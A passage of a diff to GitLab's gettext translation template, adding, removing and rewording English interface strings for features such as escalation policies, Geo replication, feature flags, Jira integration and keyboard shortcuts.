+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11964,9 +12082,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -12081,9 +12196,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12138,6 +12250,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12267,13 +12382,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12351,6 +12466,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12396,9 +12514,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12420,9 +12535,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -13092,9 +13204,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -13107,12 +13216,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13221,6 +13336,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13282,7 +13445,11 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13927,6 +14094,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13951,9 +14121,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13981,9 +14148,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -14002,9 +14166,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -14047,9 +14208,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -14065,7 +14223,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14318,6 +14476,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14423,6 +14590,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14441,6 +14611,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14468,6 +14641,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14735,6 +14917,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14762,6 +14947,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14789,6 +14977,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14813,6 +15004,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14840,6 +15034,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14885,6 +15082,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14897,10 +15097,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -15065,6 +15271,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -15077,10 +15289,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15326,9 +15541,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15425,16 +15637,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15467,9 +15682,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15524,6 +15736,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15602,7 +15817,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15716,6 +15931,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15776,6 +15994,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15797,13 +16018,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15866,6 +16090,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16184,9 +16411,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16223,22 +16447,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16310,7 +16543,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16325,6 +16558,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16337,6 +16573,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16455,9 +16703,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16489,9 +16734,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16576,9 +16818,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16588,9 +16845,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16744,6 +16998,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16996,6 +17253,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -17029,6 +17289,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -17041,9 +17304,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -17056,6 +17328,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17182,6 +17457,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17221,6 +17499,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17236,10 +17517,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17275,9 +17556,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17353,6 +17643,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17392,6 +17685,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17431,6 +17727,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17446,9 +17745,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17578,7 +17874,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17777,10 +18073,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17858,7 +18154,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -18044,7 +18340,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18278,6 +18574,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18347,12 +18646,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18380,6 +18673,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18425,6 +18739,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18527,6 +18844,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18536,6 +18856,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18569,13 +18895,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18599,7 +18925,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18674,6 +19000,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18689,10 +19018,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18779,7 +19108,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18827,6 +19156,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18842,6 +19183,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18935,6 +19279,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18968,6 +19315,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18995,9 +19345,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -19034,6 +19405,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19278,18 +19652,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19461,6 +19829,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19497,6 +19871,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19999,7 +20376,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20257,6 +20634,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20344,6 +20724,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20539,6 +20922,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20590,9 +20976,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20881,10 +21264,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20987,6 +21370,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
